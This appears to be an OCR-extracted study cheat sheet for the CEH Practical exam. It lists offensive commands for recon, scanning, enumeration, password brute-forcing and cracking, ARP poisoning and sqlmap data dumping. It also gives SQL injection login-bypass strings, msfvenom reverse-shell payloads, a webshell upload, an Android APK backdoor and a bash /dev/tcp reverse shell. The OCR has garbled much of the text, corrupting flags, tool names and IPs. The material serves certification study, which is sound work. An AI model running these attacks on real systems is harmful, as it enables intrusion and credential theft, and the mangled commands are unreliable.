1 Ootprinting and Neconnaissance	Scalining Networks	Litaniciaacii
□ DNS theHarvester-d microso ft.com -I 200 -b google — -d specifies the domain to search, -I specifies the number of results to be retrieved, and -b specifies the data source. osrf ± domainfy.py -n eccouncil -t all — -n (domain name), -t (type) dnsrecon -r 162.241.216.0-162.241.216.255 — (reverse DNS) locates DNST PTR record for the range (-r) 162.241.261.0-255. □ Social-Network theHarvester -d *PRT Air Force* -I 200 -b linkedin — -d specifies the domain to search, -I specifies the number of results to be retrieved, and -b specifies the data source. orsf ± usu fy.py -n Mark Zu ckerberg -p twitter facebook yo utube — -n	□ Port and Service Discovery nmap -sT (TCP), -sU (UDP),-sS (Stealth TCP), -sA (Ack), -Pn (no host, port only), -p- (all ports), -v (verbose) portscan (ack, syn, metasploit) □ Host and Version Discovery nmap -A (aggrssive), -sV (service version) netdiscover -r < P of network/24> □ OS Detection and SMB nmap -O (OS), -sV (service version), -script smb-os-discovery enum4linux -u martin -p apple -o 10.10.10.12o OS Enumeration	□ NetBIOS Enumeration netstat - a 10.10.10.10 - a displays the NetBIOS name table of a remote computer (here 10.10.10.10). nb ts tat - c - c lists the contents of the NetBIOS name cache of the remote computer. nmap -sV - v - script n bstat.nse 10.10.10.16 □ SNMP snmp-check 10.10.10.16 □ NFS rcpinfo -p 10.10.10.16 showmount -e 10.10.10.16
[target user name or profile name] is the list of nicknames to process, -p [target plaform] is(are) the target platform(s) for search. Python 3 she flock.py Pedro Proenca – find "Pedro Proenca" on diverse URLs (eg.www.google.com/pedroproenca) Frame size ping www.certified hacker.com -f -l 1500f means no fragmentation	□ SMB smb_version > set RHOSTS 10.10.10.5-20 > set THREADS 11 (metasploit) enum4linux -u martin -p apple -S 10.10.10.12S Share Policy Information (SMB Shares Enumeration) □ Be hind Firewall	□ DNS dnsrecon -d www.certifiedhacker -zd specifies the target domain and -z specifies that the DNSSEC zone walk be performed with standard enumeration. nslookup ± querytype = soa - sets the query type to SOA (Start of Authority) record to retrieve administrative information about the DNS
and the -I sets the frame size. We need to adjust the size according to the replies (reply/need frag). Copy wordlist from site cewl -w wordlist.txt -d 2 -m 5 www.certified hacker.com - copies the result to worldlist.txt (-w worldlist.txt).	-f (fragmentation scan), -Pn (no host), -g (source port), -D RND:10 (-D performs a decoy scan, RND generates a random and non-reserved IP addresses.	zone of the target domain certifiedhacker.com. nslookup ± ls -d ns1.bluehost.com - ls -d requests a zone transfer of the specified name server (ns1.bluehost.com). □ SMTP smtp-user-enum
□ Web Servers nc -vv www.moviescope.com 80 ± GET / HTTP/1.0 − banner grabbing telnet www.moviescope.com 80 ± GET / HTTP/1.0 − banner grabbingskip fish - o / root/test - 5 / usr/share/skipfish/dictionaries/ complete.wl http://10.10.10.16:8080 - test is the output directory where the result of this command will be stored in index.html in this location; the complete.wl is the dictionary file based on the web server's requirements that will be used for a brute-force attack; 10.10.10.16 is the IP of the web server. □ Web Applications	10.10.10.16 is the IP of Windows Server 2016u switch is used to provide the target URLq switch is used to scan the directories in the web server. we can replace the "-q" with -we for file check and -d for dynamic scan. gobuster dir -w /usr/share/wordlists/dirb/common.tx -u 10.129.216.40 gobuster dir -url http://{TARGET_IP}/ -wordlist/usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php nmap -sV -script=http-enum www.goodshopping.com - the target here is www.goodshopping.com	□ Other tools Enum4linux - u martin - p apple - U 10.10.10.12 -> Users Enumeration enum4linux - u martin - p apple - P 10.10.10.12 -> Pass word Policy Information enum4linux - u martin - p apple - G 10.10.10.12 -> Groups Information nmap - P X - A {ip} - scans the protocol we want Active Directory Explorer (Active Dir) NetScanTo ols Pro (SMB, RPC Enum).
whatweb -v www.moviescope.com whatweb –log-verbose=MovieScope_Report www.moviescope.com -	Hping (https://adithyanak.gitbo ok.io/ceh-practical/) Nmap (https://www.stationx.net/nmap-cheat-sheet/)	Sniffing
this will generate a report with the name MovieScope_Report on root folder. zaproxy > automated scan > active scan dig ± lbd yaho.o.com - lbd (load balancing detector) detects if a given domain uses DNS and http load balancing via the Server: and Date: headers and the differences between server answers. It analyzes the data received from application responses to detect load balancers. wpscan url http://10.10.10.12:8080/CEH enumerate u - Wordpress auxiliary/scaner/http//wordpress_login_enum - WP password bruteforce (metasploit)	Metasploit msfd b init + service postgresql (or restart) + msfconsole + msf > db_status > nmap -Pn -SS -A - oX Te st 10.10.10.0/24 db_importTest hosts -> To show all available hosts in the subnet db_nmap -sS -A 10.10.10.16 -> To extract services of particular machine services -> to get all available services in a subnet	□ Wireshark http.request.method == "POST" -> Wireshark filter for filtering HTTP POST request Capture traffic from remote in terface via wireshark Capture > Options > Manage Interfaces Remote Interface > Add > Host & Port (2002) Username & password > Start □ Detect Sniffing
Other took and notes Maltego	System Hacking	nmap –script=sniffer-detect 10.10.10.19 - 10.10.10.19 is the target IP
Foca Recon-dog	☐ Crack and Audit Password sud o snap in stall john-the ripper ± sud o joh n /ho me/ub untu/	Hacking Web Applications
Netcraft.com Httprecon (web)	Responder/logs/SMB-NTLMv2-SSP-10.10.10.10.txt - cracks password of the SMB-NTLMv2() .txt file zip2john {file name.zip} > hashes ± john -wordlist=/usr/share/wordlists/rockyou.txt hashes - use the following command to	☐ Command Injection net user Test /Add > net localgroup Administrators Test /Add > net user Test > remote login with the user
Vulnerability Analisis □ Ness us Nessus nus on https://localhost:8834 Username: admin Password: password Nessus-> Policies-> Advanced scan. □ Searchsploit sudo apt update && sudo apt -y install exploitdb □ linPEAS □ Nikto nikto -h www.certified hacker.com -Tuning xh: specifies the target host and x: specifies the Reverse Tuning Options (i.e., include all except specified), target webs ite is certifiedhacker.com nikto -h www.certifiedhacker.com -o Nickto_Scan_Results -F txth: specifies the target, -o: specifies the name of the output file, and -F: specifies the file format. www.certifiedhacker.com is the website. Name the file Nikto_Scan_Results	bruteforce against the hash stroed in file hashes. Hashcracking and Hashgrabbing hashcat -a 0 -m 0 {file with the hash} / usr/share/wordlists/rockyou.txt cd Responder + chmod +x./Responder.py + sudo ./Responder.py -I eth0 - check usr/share/responder/logs Hydra hydra -I root -P pass words.txt [-t 32] <ip> ftp hydra -I usernames.txt -P pass.txt <ip> mysql hydra -I USERNAME -P /path/to/passwords.txt -f <ip> po p3 -V hydra -V -f -I < user slist > -P > cpass wlist> rdp//<ip> hydra -I -I Administrator -P words.txt 192.168.1.12 smb -t 1 hydra -I USER -P p/usr/share/wordlists/rockyou.txt ssh://{Target IP} - SSH Bruteforce hydra -I _froot/Desktop/Wordlists/Pass words.txt fp://10.10.10.11 - FTP Bruteforce mac of - MAC flooding mac of -i eth0 - 10i specifies the interface and -n specifies the number of packets to be sent (10 in this case) mac of -i eth0 - d [Target IP]d specifies the destination IP address</ip></ip></ip></ip>	□ File Upload metasploit mswenom -p phy/meterpreter/reverse_tcp LHOST=10.10.10.13 LPORT=4444 -fraw - here 10.10.10.13 is the IP of the host machine. We can use 'LHOST=' or 'LHOST-' > copy the paylo ad to a .php > Type set payload php/meterpreter/reverse_tcp and press Enter > Type set LHOST 10.10.13 and press Enter > Type set LPORT 1444 and press Enter > Go to where the file is http://10.10.10.16:8080/dvwa/hackable/ uploads/upload.php > session might be established. □ File Upload weevely weevely generate toor /home/attacker/Desktop/shell.php > go to website and upload the file. > session might be established //usr/share/webshells/ > go to website and upload the file. > nc the port > python3 -c 'import pty;pty.spawn("/bin/bash")' > session might be established C SQL Injection
cd DSSS \pm python3 dsss.py \pm Inspect the webpage and search for the do cument.cookie \pm python3 dsss.py -u "http://www.moviescope.com/	☐ Yersinia – DHCP starvation	□ sqlmap
viewprofile.aspx?id=1" -co okie="[co okie value which you have copied in Step 7]" - u specifies the target URL and -co okie specifies the HTTP cookie header value. ± Go to the webpage dsss shows OWASP ZAP > Automated scan > enter URL to attack > attack	yersinia -II starts an interactive nourses session. □ arpspoof – ARP Poison ing arpspoof -I eth0 -t 10.10.10.1 10.10.10i specifies network interface and -t specifies the target IP add	sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" - cookie="xookies xxx" -dbs - SQLMAP Extract DBS sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" - cookie="cookies xxx" -D moviescope -tables - Extract Tables sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" - cookie="cookies xxx" -D moviescope -T User_Login -columns - Extract
https://www.exploit-db.com/ Hacking Web Servers	□ MAC Spoof TMAC SMAC	Columns sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" -
Wireshark http.request.method == "POST" > Wireshark filter for filtering HTTP POST request Capture traffic from remote in terface via wireshark Capture > Options > Manage Interfaces Remote Interface > Add > Host & Port (2002) Username & password > Start	□ SMB sudo apt install smb dient > smbclient -L {IP} -U Administrator > smbclient \\\\\10.10.10.131\\C5 -U Administrator > smbclient -N -L \\\\\{TARGET_IP}\\\\\(no password)\) □ Other took and notes LOphtCrack(pass crack & audit) Rainbo wCrack	cookie="cookies xxx" -D movies cope -T User_Login -dump - Dump Data sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" - cookie="cookies xxx" -os-shell - OS Shell to execute commands > nc > bash -c "bash -i >& /dev/tcp/{your_IP}/443 0>&1" >python3 -c 'import pty;pty.spawn("/bin/bash")' >CTRL+Z >stty raw -echo >fg >export TERM=xterm
Detect Sniffing nmap -script-sniffer-detect 10.10.10.19 - 10.10.10.19 is the target IP	Cryptography □ Other took and notes	☐ Other blah' or 1=1 — - Login bypass blah';nsert into login values ('john','app le 123'); - Insert data into DB
Hacking Mobile	HackCalc MD5 Calculator HashMyFiles	from login blah';create database myd atab ase; - Create d atabase from login blah';exec mas terxp_cmdshell'ping www.moviescope.com-I 65000 -
☐ Metasploit – Binary payload s > service postgresql start	CryptoForge CrypTool AlphaPeeler	t'; Execute cmd from login
> msfvenom -p and roid/meterpreter/reverse_tcp -platform and roid -a dalvik LHOST=10.10.10.13.13 R > Desktop/Backdoor.apk - This command creates an APK backdoor on Desktop under the Root directory. 10.10.10.13 is the IP of Parrot. > share the file > msfconsole > use exploit/multi/handler > set payload and roid/meterpreter/reverse_tcp and press Enter. > set LHOST 10.10.10.13 and press Enter. > Type show options to see if Listenning port is 4444. > exploit -j -2 - this command will run the exploit as a background jo b.		Hacking Wireless Networks Aircrack-ng aircrack-ng '/home/attacker/Desktop/Sample Captures/WEPcrack- 01.cap'
> session -i 1 - 1 specifies the number of the session of the Meterpreter shell that is launched. > cd /sdcard > ps - shows the running process		

Scanning Networks

Enumeration

Footprinting and Reconnaissance

☐ PhoneSploit — Exploit through ADB

> cd PhoneSploit

> python3 -m pip install colorama

> python3 pho nesploit.py

> 3 to connecto to a new phone (type 3 until the ip add option appears)

> insert the ip of the phone